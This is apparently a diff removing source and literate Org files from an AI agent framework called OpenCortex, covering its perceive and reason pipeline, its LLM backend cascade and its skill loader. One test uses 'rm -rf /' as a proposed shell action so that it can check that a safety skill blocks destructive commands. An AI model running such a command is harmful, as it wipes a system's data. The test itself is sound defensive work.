(let ((formatted-msg (apply #'format nil msg args)))
|
||||
(bordeaux-threads:with-lock-held (*logs-lock*)
|
||||
(push formatted-msg *system-logs*)
|
||||
(when (> (length *system-logs*) *max-log-history*)
|
||||
(setq *system-logs* (subseq *system-logs* 0 *max-log-history*))))
|
||||
(format t "~a~%" formatted-msg)
|
||||
(finish-output)))
|
||||
|
||||
;; --- Debugger Hook ---
|
||||
(setf *debugger-hook* (lambda (condition hook)
|
||||
"Friendly error handler - shows diagnostic message instead of raw debugger."
|
||||
(format t "~%")
|
||||
(format t "┌─────────────────────────────────────────────┐~%")
|
||||
(format t "│ ERROR: ~A~%" (type-of condition))
|
||||
(format t "│~%")
|
||||
(format t "│ Run: opencortex doctor~%")
|
||||
(format t "│ For system diagnostics~%")
|
||||
(format t "└─────────────────────────────────────────────┘~%")
|
||||
(format t "~%")
|
||||
(format t "Details: ~A~%" condition)
|
||||
(finish-output)
|
||||
(uiop:quit 1)))
|
||||
#+end_src
|
||||
@@ -1,71 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defvar *async-sensors* '(:chat-message :delegation :user-command)
|
||||
"Sensors that are processed in dedicated threads.")
|
||||
|
||||
(defvar *foveal-focus-id* nil
|
||||
"The Org ID of the node the user is currently interacting with.")
|
||||
|
||||
(defun inject-stimulus (raw-message &key stream (depth 0))
|
||||
"Inject a raw message into the signal processing pipeline."
|
||||
(let* ((payload (getf raw-message :payload))
|
||||
(sensor (getf payload :sensor))
|
||||
(meta (getf raw-message :meta))
|
||||
(async-p (or (getf payload :async-p)
|
||||
(member sensor *async-sensors*))))
|
||||
|
||||
(unless meta
|
||||
(setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal")))
|
||||
|
||||
(when stream
|
||||
(setf (getf meta :reply-stream) stream))
|
||||
|
||||
(setf (getf raw-message :meta) meta)
|
||||
(setf (getf raw-message :depth) depth)
|
||||
|
||||
(if async-p
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(restart-case (process-signal raw-message)
|
||||
(skip-event () nil)))
|
||||
:name "opencortex-async-task")
|
||||
|
||||
(restart-case
|
||||
(handler-bind ((error (lambda (c)
|
||||
(harness-log "SYSTEM ERROR: ~a" c)
|
||||
(invoke-restart 'skip-event))))
|
||||
(process-signal raw-message))
|
||||
(skip-event ()
|
||||
(harness-log "SYSTEM RECOVERY: Stimulus dropped."))))))
|
||||
|
||||
(defun perceive-gate (signal)
|
||||
"Stage 1 of the metabolic pipeline: Normalize sensory input."
|
||||
(let* ((payload (getf signal :payload))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(sensor (getf payload :sensor)))
|
||||
|
||||
(harness-log "GATE [Perceive]: ~a (~a) [Source: ~s]"
|
||||
type (or sensor "no-sensor") (getf meta :source))
|
||||
|
||||
(cond ((eq type :EVENT)
|
||||
(case sensor
|
||||
(:buffer-update
|
||||
(let ((ast (getf payload :ast)))
|
||||
(when ast
|
||||
(snapshot-memory)
|
||||
(ingest-ast ast))))
|
||||
(:point-update
|
||||
(let ((element (getf payload :element)))
|
||||
(when element
|
||||
(snapshot-memory)
|
||||
(setf *foveal-focus-id* (getf element :id))
|
||||
(ingest-ast element))))
|
||||
(:interrupt
|
||||
(setf *interrupt-flag* t))))
|
||||
((eq type :RESPONSE)
|
||||
(harness-log "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
|
||||
|
||||
(setf (getf signal :status) :perceived)
|
||||
(setf (getf signal :foveal-focus) *foveal-focus-id*)
|
||||
signal))
|
||||
@@ -1,121 +0,0 @@
|
||||
#+TITLE: Stage 1: Perceive (perceive.lisp)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:perceive:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle perceive.lisp
|
||||
|
||||
* Overview
|
||||
The Perceive stage is the "sensory cortex" of OpenCortex. Its job is to take raw stimuli from the outside world and transform them into standardized Signals that the rest of the pipeline can process.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :opencortex)
|
||||
#+end_src
|
||||
|
||||
** Sensor Configuration
|
||||
#+begin_src lisp
|
||||
(defvar *async-sensors* '(:chat-message :delegation :user-command)
|
||||
"Sensors that are processed in dedicated threads.")
|
||||
|
||||
(defvar *foveal-focus-id* nil
|
||||
"The Org ID of the node the user is currently interacting with.")
|
||||
#+end_src
|
||||
|
||||
** Stimulus Injection (inject-stimulus)
|
||||
#+begin_src lisp
|
||||
(defun inject-stimulus (raw-message &key stream (depth 0))
|
||||
"Inject a raw message into the signal processing pipeline."
|
||||
(let* ((payload (getf raw-message :payload))
|
||||
(sensor (getf payload :sensor))
|
||||
(meta (getf raw-message :meta))
|
||||
(async-p (or (getf payload :async-p)
|
||||
(member sensor *async-sensors*))))
|
||||
|
||||
(unless meta
|
||||
(setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal")))
|
||||
|
||||
(when stream
|
||||
(setf (getf meta :reply-stream) stream))
|
||||
|
||||
(setf (getf raw-message :meta) meta)
|
||||
(setf (getf raw-message :depth) depth)
|
||||
|
||||
(if async-p
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(restart-case (process-signal raw-message)
|
||||
(skip-event () nil)))
|
||||
:name "opencortex-async-task")
|
||||
|
||||
(restart-case
|
||||
(handler-bind ((error (lambda (c)
|
||||
(harness-log "SYSTEM ERROR: ~a" c)
|
||||
(invoke-restart 'skip-event))))
|
||||
(process-signal raw-message))
|
||||
(skip-event ()
|
||||
(harness-log "SYSTEM RECOVERY: Stimulus dropped."))))))
|
||||
#+end_src
|
||||
|
||||
** Perceive Gate (perceive-gate)
|
||||
#+begin_src lisp
|
||||
(defun perceive-gate (signal)
|
||||
"Stage 1 of the metabolic pipeline: Normalize sensory input."
|
||||
(let* ((payload (getf signal :payload))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(sensor (getf payload :sensor)))
|
||||
|
||||
(harness-log "GATE [Perceive]: ~a (~a) [Source: ~s]"
|
||||
type (or sensor "no-sensor") (getf meta :source))
|
||||
|
||||
(cond ((eq type :EVENT)
|
||||
(case sensor
|
||||
(:buffer-update
|
||||
(let ((ast (getf payload :ast)))
|
||||
(when ast
|
||||
(snapshot-memory)
|
||||
(ingest-ast ast))))
|
||||
(:point-update
|
||||
(let ((element (getf payload :element)))
|
||||
(when element
|
||||
(snapshot-memory)
|
||||
(setf *foveal-focus-id* (getf element :id))
|
||||
(ingest-ast element))))
|
||||
(:interrupt
|
||||
(setf *interrupt-flag* t))))
|
||||
((eq type :RESPONSE)
|
||||
(harness-log "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
|
||||
|
||||
(setf (getf signal :status) :perceived)
|
||||
(setf (getf signal :foveal-focus) *foveal-focus-id*)
|
||||
signal))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp :tangle ../tests/pipeline-perceive-tests.lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :opencortex-pipeline-perceive-tests
|
||||
(:use :cl :fiveam :opencortex)
|
||||
(:export #:pipeline-perceive-suite))
|
||||
|
||||
(in-package :opencortex-pipeline-perceive-tests)
|
||||
|
||||
(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
|
||||
(in-suite pipeline-perceive-suite)
|
||||
|
||||
(test test-perceive-gate
|
||||
(clrhash opencortex::*memory*)
|
||||
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
|
||||
(result (perceive-gate signal)))
|
||||
(is (eq :perceived (getf result :status)))
|
||||
(is (not (null (gethash "test-node" opencortex::*memory*))))))
|
||||
|
||||
(test test-depth-limiting
|
||||
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
|
||||
(is (null (process-signal runaway-signal)))))
|
||||
#+end_src
|
||||
@@ -1,132 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defvar *probabilistic-backends* (make-hash-table :test 'equal))
|
||||
|
||||
(defvar *provider-cascade* nil)
|
||||
|
||||
(defvar *model-selector-fn* nil)
|
||||
|
||||
(defvar *consensus-enabled-p* nil)
|
||||
|
||||
(defun register-probabilistic-backend (name fn)
|
||||
(setf (gethash name *probabilistic-backends*) fn))
|
||||
|
||||
(defun probabilistic-call (prompt &key
|
||||
(system-prompt "You are the Probabilistic engine.")
|
||||
(cascade nil)
|
||||
(context nil))
|
||||
(let ((backends (or cascade *provider-cascade*)))
|
||||
(or (dolist (backend backends)
|
||||
(let ((backend-fn (gethash backend *probabilistic-backends*)))
|
||||
(when backend-fn
|
||||
(harness-log "PROBABILISTIC: Attempting backend ~a..." backend)
|
||||
(let* ((model (when *model-selector-fn*
|
||||
(funcall *model-selector-fn* backend context)))
|
||||
(result (if model
|
||||
(funcall backend-fn prompt system-prompt :model model)
|
||||
(funcall backend-fn prompt system-prompt))))
|
||||
(cond ((and (listp result) (eq (getf result :status) :success))
|
||||
(return (getf result :content)))
|
||||
((stringp result)
|
||||
(return result))
|
||||
(t
|
||||
(harness-log "PROBABILISTIC: Backend ~a failed: ~a"
|
||||
backend (getf result :message))))))))
|
||||
(list :type :LOG
|
||||
:payload (list :text "Neural Cascade Failure: All providers exhausted.")))))
|
||||
|
||||
(defun strip-markdown (text)
|
||||
(if (and text (stringp text))
|
||||
(let ((cleaned text))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
|
||||
(string-trim '(#\Space #\Newline #\Tab) cleaned))
|
||||
text))
|
||||
|
||||
(defun normalize-plist-keywords (plist)
|
||||
(when (listp plist)
|
||||
(loop for (k v) on plist by #'cddr
|
||||
collect (if (and (symbolp k) (not (keywordp k)))
|
||||
(intern (string k) :keyword)
|
||||
k)
|
||||
collect v)))
|
||||
|
||||
(defun think (context)
|
||||
(let* ((active-skill (find-triggered-skill context))
|
||||
(tool-belt (generate-tool-belt-prompt))
|
||||
(global-context (context-assemble-global-awareness))
|
||||
(system-logs (context-get-system-logs))
|
||||
(assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
|
||||
(rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
|
||||
(prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
|
||||
(raw-prompt (if prompt-generator
|
||||
(funcall prompt-generator context)
|
||||
(let ((p (proto-get (proto-get context :payload) :text)))
|
||||
(if (and p (stringp p)) p "Maintain metabolic stasis."))))
|
||||
(reflection-feedback (if rejection-trace
|
||||
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
|
||||
""))
|
||||
(system-prompt (format nil "IDENTITY: ~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
|
||||
assistant-name reflection-feedback tool-belt global-context system-logs)))
|
||||
(let* ((thought (probabilistic-call raw-prompt :system-prompt system-prompt :context context))
|
||||
(cleaned (strip-markdown thought)))
|
||||
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
|
||||
(handler-case
|
||||
(let ((parsed (read-from-string cleaned)))
|
||||
(if (listp parsed)
|
||||
(normalize-plist-keywords parsed)
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))
|
||||
|
||||
(defun deterministic-verify (proposed-action context)
|
||||
(let ((current-action proposed-action)
|
||||
(skills nil))
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(when (skill-deterministic-fn skill)
|
||||
(push skill skills)))
|
||||
*skills-registry*)
|
||||
(setf skills (sort skills #'> :key #'skill-priority))
|
||||
(dolist (skill skills)
|
||||
(let ((trigger (skill-trigger-fn skill))
|
||||
(gate (skill-deterministic-fn skill)))
|
||||
(when (or (null trigger) (ignore-errors (funcall trigger context)))
|
||||
(let ((next-action (funcall gate current-action context)))
|
||||
(when (and (listp next-action)
|
||||
(member (proto-get next-action :type) '(:LOG :EVENT)))
|
||||
(harness-log "DETERMINISTIC: Intercepted by skill '~a'" (skill-name skill))
|
||||
(return-from deterministic-verify next-action))
|
||||
(when next-action (setf current-action next-action))))))
|
||||
current-action))
|
||||
|
||||
(defun reason-gate (signal)
|
||||
(let* ((type (proto-get signal :type))
|
||||
(payload (proto-get signal :payload))
|
||||
(sensor (proto-get payload :sensor)))
|
||||
(unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
|
||||
(return-from reason-gate signal))
|
||||
(let ((retries 3)
|
||||
(current-signal (copy-tree signal))
|
||||
(last-rejection nil))
|
||||
(loop
|
||||
(when (<= retries 0)
|
||||
(setf (getf signal :approved-action) last-rejection)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))
|
||||
(when last-rejection
|
||||
(setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
|
||||
(let ((candidate (think current-signal)))
|
||||
(if (and candidate (listp candidate))
|
||||
(let ((verified (deterministic-verify candidate current-signal)))
|
||||
(if (member (getf verified :type) '(:LOG :EVENT))
|
||||
(progn (decf retries) (setf last-rejection verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) nil)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))))))))
|
||||
@@ -1,194 +0,0 @@
|
||||
#+TITLE: Stage 2: Reason (reason.lisp)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:reason:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle reason.lisp
|
||||
|
||||
* Overview
|
||||
The Reason stage implements the core Innovation of OpenCortex: the separation of probabilistic reasoning (neural/LLM) from deterministic verification (logic/safety).
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :opencortex)
|
||||
#+end_src
|
||||
|
||||
** Probabilistic Engine Configuration
|
||||
#+begin_src lisp
|
||||
(defvar *probabilistic-backends* (make-hash-table :test 'equal))
|
||||
|
||||
(defvar *provider-cascade* nil)
|
||||
|
||||
(defvar *model-selector-fn* nil)
|
||||
|
||||
(defvar *consensus-enabled-p* nil)
|
||||
#+end_src
|
||||
|
||||
** Backend Registration (register-probabilistic-backend)
|
||||
#+begin_src lisp
|
||||
(defun register-probabilistic-backend (name fn)
|
||||
(setf (gethash name *probabilistic-backends*) fn))
|
||||
#+end_src
|
||||
|
||||
** Cascade Dispatch (probabilistic-call)
|
||||
#+begin_src lisp
|
||||
(defun probabilistic-call (prompt &key
|
||||
(system-prompt "You are the Probabilistic engine.")
|
||||
(cascade nil)
|
||||
(context nil))
|
||||
(let ((backends (or cascade *provider-cascade*)))
|
||||
(or (dolist (backend backends)
|
||||
(let ((backend-fn (gethash backend *probabilistic-backends*)))
|
||||
(when backend-fn
|
||||
(harness-log "PROBABILISTIC: Attempting backend ~a..." backend)
|
||||
(let* ((model (when *model-selector-fn*
|
||||
(funcall *model-selector-fn* backend context)))
|
||||
(result (if model
|
||||
(funcall backend-fn prompt system-prompt :model model)
|
||||
(funcall backend-fn prompt system-prompt))))
|
||||
(cond ((and (listp result) (eq (getf result :status) :success))
|
||||
(return (getf result :content)))
|
||||
((stringp result)
|
||||
(return result))
|
||||
(t
|
||||
(harness-log "PROBABILISTIC: Backend ~a failed: ~a"
|
||||
backend (getf result :message))))))))
|
||||
(list :type :LOG
|
||||
:payload (list :text "Neural Cascade Failure: All providers exhausted.")))))
|
||||
#+end_src
|
||||
|
||||
** Cognitive Proposal Generation (Think)
|
||||
#+begin_src lisp
|
||||
(defun strip-markdown (text)
|
||||
(if (and text (stringp text))
|
||||
(let ((cleaned text))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
|
||||
(string-trim '(#\Space #\Newline #\Tab) cleaned))
|
||||
text))
|
||||
|
||||
(defun normalize-plist-keywords (plist)
|
||||
(when (listp plist)
|
||||
(loop for (k v) on plist by #'cddr
|
||||
collect (if (and (symbolp k) (not (keywordp k)))
|
||||
(intern (string k) :keyword)
|
||||
k)
|
||||
collect v)))
|
||||
|
||||
(defun think (context)
|
||||
(let* ((active-skill (find-triggered-skill context))
|
||||
(tool-belt (generate-tool-belt-prompt))
|
||||
(global-context (context-assemble-global-awareness))
|
||||
(system-logs (context-get-system-logs))
|
||||
(assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
|
||||
(rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
|
||||
(prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
|
||||
(raw-prompt (if prompt-generator
|
||||
(funcall prompt-generator context)
|
||||
(let ((p (proto-get (proto-get context :payload) :text)))
|
||||
(if (and p (stringp p)) p "Maintain metabolic stasis."))))
|
||||
(reflection-feedback (if rejection-trace
|
||||
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
|
||||
""))
|
||||
(system-prompt (format nil "IDENTITY: ~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
|
||||
assistant-name reflection-feedback tool-belt global-context system-logs)))
|
||||
(let* ((thought (probabilistic-call raw-prompt :system-prompt system-prompt :context context))
|
||||
(cleaned (strip-markdown thought)))
|
||||
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
|
||||
(handler-case
|
||||
(let ((parsed (read-from-string cleaned)))
|
||||
(if (listp parsed)
|
||||
(normalize-plist-keywords parsed)
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))
|
||||
#+end_src
|
||||
|
||||
** Deterministic Engine (Verification)
|
||||
#+begin_src lisp
|
||||
(defun deterministic-verify (proposed-action context)
|
||||
(let ((current-action proposed-action)
|
||||
(skills nil))
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(when (skill-deterministic-fn skill)
|
||||
(push skill skills)))
|
||||
*skills-registry*)
|
||||
(setf skills (sort skills #'> :key #'skill-priority))
|
||||
(dolist (skill skills)
|
||||
(let ((trigger (skill-trigger-fn skill))
|
||||
(gate (skill-deterministic-fn skill)))
|
||||
(when (or (null trigger) (ignore-errors (funcall trigger context)))
|
||||
(let ((next-action (funcall gate current-action context)))
|
||||
(when (and (listp next-action)
|
||||
(member (proto-get next-action :type) '(:LOG :EVENT)))
|
||||
(harness-log "DETERMINISTIC: Intercepted by skill '~a'" (skill-name skill))
|
||||
(return-from deterministic-verify next-action))
|
||||
(when next-action (setf current-action next-action))))))
|
||||
current-action))
|
||||
#+end_src
|
||||
|
||||
** Reason Gate (Stage 2)
|
||||
#+begin_src lisp
|
||||
(defun reason-gate (signal)
|
||||
(let* ((type (proto-get signal :type))
|
||||
(payload (proto-get signal :payload))
|
||||
(sensor (proto-get payload :sensor)))
|
||||
(unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
|
||||
(return-from reason-gate signal))
|
||||
(let ((retries 3)
|
||||
(current-signal (copy-tree signal))
|
||||
(last-rejection nil))
|
||||
(loop
|
||||
(when (<= retries 0)
|
||||
(setf (getf signal :approved-action) last-rejection)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))
|
||||
(when last-rejection
|
||||
(setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
|
||||
(let ((candidate (think current-signal)))
|
||||
(if (and candidate (listp candidate))
|
||||
(let ((verified (deterministic-verify candidate current-signal)))
|
||||
(if (member (getf verified :type) '(:LOG :EVENT))
|
||||
(progn (decf retries) (setf last-rejection verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) nil)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))))))))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp :tangle ../tests/pipeline-reason-tests.lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :opencortex-pipeline-reason-tests
|
||||
(:use :cl :fiveam :opencortex)
|
||||
(:export #:pipeline-reason-suite))
|
||||
|
||||
(in-package :opencortex-pipeline-reason-tests)
|
||||
|
||||
(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
|
||||
(in-suite pipeline-reason-suite)
|
||||
|
||||
(test test-decide-gate-safety
|
||||
(clrhash opencortex::*skills-registry*)
|
||||
(opencortex::defskill :mock-safety
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(if (search "rm -rf" (format nil "~s" action))
|
||||
(list :type :LOG :payload (list :text "Rejected"))
|
||||
action)))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (deterministic-verify candidate signal)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
#+end_src
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/bin/bash
|
||||
# (The content here is a duplicate of the main opencortex.sh for literate consistency)
|
||||
# [Note: Implementation is already verified in the top-level script]
|
||||
@@ -1,271 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defun COSINE-SIMILARITY (v1 v2)
|
||||
"Computes cosine similarity between two vectors."
|
||||
(let* ((len1 (length v1)) (len2 (length v2)))
|
||||
(if (or (zerop len1) (zerop len2))
|
||||
0.0
|
||||
(let* ((dot 0.0d0) (n1 0.0d0) (n2 0.0d0))
|
||||
(dotimes (i (min len1 len2))
|
||||
(let* ((x (coerce (elt v1 i) 'double-float)) (y (coerce (elt v2 i) 'double-float)))
|
||||
(incf dot (* x y)) (incf n1 (* x x)) (incf n2 (* y y))))
|
||||
(if (or (zerop n1) (zerop n2)) 0.0 (/ dot (sqrt (* n1 n2))))))))
|
||||
|
||||
(defun VAULT-MASK-STRING (s) (declare (ignore s)) "[MASKED]")
|
||||
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
|
||||
|
||||
(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
|
||||
(defvar *skills-registry* (make-hash-table :test 'equal))
|
||||
(defvar *skill-catalog* (make-hash-table :test 'equal)
|
||||
"A stateful tracking table for all skill files discovered in the environment.")
|
||||
|
||||
(defstruct skill-entry filename (status :discovered) error-log (load-time 0))
|
||||
|
||||
(defun find-triggered-skill (context)
|
||||
"Returns the highest priority skill whose trigger matches context."
|
||||
(let ((triggered nil))
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(when (and (skill-probabilistic-prompt skill)
|
||||
(ignore-errors (funcall (skill-trigger-fn skill) context)))
|
||||
(push skill triggered)))
|
||||
*skills-registry*)
|
||||
(first (sort triggered #'> :key #'skill-priority))))
|
||||
|
||||
(defmacro defskill (name &key priority dependencies trigger probabilistic deterministic)
|
||||
"Registers a new skill into the global registry."
|
||||
`(setf (gethash (string-downcase (string ,name)) *skills-registry*)
|
||||
(make-skill :name (string-downcase (string ,name))
|
||||
:priority (or ,priority 10)
|
||||
:dependencies ',dependencies
|
||||
:trigger-fn ,trigger
|
||||
:probabilistic-prompt ,probabilistic
|
||||
:deterministic-fn ,deterministic)))
|
||||
|
||||
(defun resolve-skill-dependencies (skill-name)
|
||||
"Recursively resolves dependencies for a given skill name."
|
||||
(let ((resolved nil) (seen nil))
|
||||
(labels ((visit (name)
|
||||
(unless (member name seen :test #'equal)
|
||||
(push name seen)
|
||||
(let ((skill (gethash (string-downcase (string name)) *skills-registry*)))
|
||||
(when skill
|
||||
(dolist (dep (skill-dependencies skill)) (visit dep))))
|
||||
(push name resolved))))
|
||||
(visit skill-name)
|
||||
(nreverse resolved))))
|
||||
|
||||
(defun parse-skill-metadata (filepath)
|
||||
"Extracts ID and DEPENDS_ON tags from org file."
|
||||
(let ((dependencies nil) (id nil) (content (uiop:read-file-string filepath)))
|
||||
(let ((id-start (search ":ID:" content)))
|
||||
(when id-start
|
||||
(let ((id-end (position #\Newline content :start id-start)))
|
||||
(when id-end (setf id (string-trim " " (subseq content (+ id-start 4) id-end)))))))
|
||||
(let ((pos 0))
|
||||
(loop while (setf pos (search "#+DEPENDS_ON:" content :start2 pos))
|
||||
do (let ((end (position #\Newline content :start pos)))
|
||||
(when end
|
||||
(let ((line (string-trim " " (subseq content (+ pos 13) end))))
|
||||
(dolist (d (uiop:split-string line :separator '(#\Space #\Tab)))
|
||||
(unless (string= d "") (push d dependencies))))
|
||||
(setf pos end)))))
|
||||
(values id (reverse dependencies))))
|
||||
|
||||
(defun topological-sort-skills (skills-dir)
|
||||
"Returns a list of skill filepaths sorted by dependency."
|
||||
(let* ((org-files (uiop:directory-files skills-dir "org-skill-*.org"))
|
||||
(lisp-files (uiop:directory-files skills-dir "org-skill-*.lisp"))
|
||||
(files (append org-files lisp-files))
|
||||
(adj (make-hash-table :test 'equal))
|
||||
(name-to-file (make-hash-table :test 'equal))
|
||||
(id-to-file (make-hash-table :test 'equal))
|
||||
(result nil)
|
||||
(visited (make-hash-table :test 'equal))
|
||||
(stack (make-hash-table :test 'equal)))
|
||||
(dolist (file files)
|
||||
(let ((filename (pathname-name file)))
|
||||
(if (uiop:string-suffix-p (namestring file) ".lisp")
|
||||
(progn
|
||||
(setf (gethash (string-downcase filename) name-to-file) file)
|
||||
(setf (gethash (string-downcase filename) adj) nil))
|
||||
(multiple-value-bind (id deps) (parse-skill-metadata file)
|
||||
(setf (gethash (string-downcase filename) name-to-file) file)
|
||||
(when id (setf (gethash (string-downcase id) id-to-file) file))
|
||||
(setf (gethash (string-downcase filename) adj) deps)))))
|
||||
(labels ((visit (file)
|
||||
(let* ((filename (pathname-name file))
|
||||
(node-key (string-downcase filename)))
|
||||
(unless (gethash node-key visited)
|
||||
(setf (gethash node-key stack) t)
|
||||
(dolist (dep (gethash node-key adj))
|
||||
(let* ((is-id-p (uiop:string-prefix-p "id:" (string-downcase dep)))
|
||||
(dep-key (string-downcase (if is-id-p (subseq dep 3) dep)))
|
||||
(dep-file (if is-id-p
|
||||
(gethash dep-key id-to-file)
|
||||
(or (gethash dep-key id-to-file)
|
||||
(gethash dep-key name-to-file)))))
|
||||
(when dep-file
|
||||
(let ((dep-filename (pathname-name dep-file)))
|
||||
(if (gethash (string-downcase dep-filename) stack)
|
||||
(error "Circular dependency detected")
|
||||
(visit dep-file))))))
|
||||
(setf (gethash node-key stack) nil)
|
||||
(setf (gethash node-key visited) t)
|
||||
(push file result)))))
|
||||
(let ((filenames (sort (mapcar #'pathname-name files) #'string<)))
|
||||
(dolist (name filenames)
|
||||
(let ((file (gethash (string-downcase name) name-to-file)))
|
||||
(when file (visit file)))))
|
||||
(nreverse result))))
|
||||
|
||||
(defun validate-lisp-syntax (code-string)
|
||||
"Checks if a string contains valid Common Lisp forms."
|
||||
(handler-case
|
||||
(let ((*read-eval* nil))
|
||||
(with-input-from-string (s (format nil "(progn ~a)" code-string))
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)))
|
||||
(values t nil))
|
||||
(error (c) (values nil (format nil "~a" c)))))
|
||||
|
||||
(defun remove-in-package-forms (code-string)
|
||||
"Removes in-package forms so symbols get defined in skill package."
|
||||
(let ((lines (uiop:split-string code-string :separator '(#\Newline)))
|
||||
(result ""))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(unless (uiop:string-prefix-p "(in-package" trimmed)
|
||||
(setf result (concatenate 'string result line (string #\Newline))))))
|
||||
result))
|
||||
|
||||
(defun extract-tangle-target (line)
|
||||
"Extracts the value of the :tangle header."
|
||||
(let ((pos (search ":tangle" line)))
|
||||
(when pos
|
||||
(let ((rest (string-trim '(#\Space #\Tab) (subseq line (+ pos 7)))))
|
||||
(let ((end (position #\Space rest)))
|
||||
(if end (subseq rest 0 end) rest))))))
|
||||
|
||||
(defun load-skill-from-org (filepath)
|
||||
"Parses and evaluates Lisp blocks from an Org file."
|
||||
(let* ((skill-base-name (pathname-name filepath))
|
||||
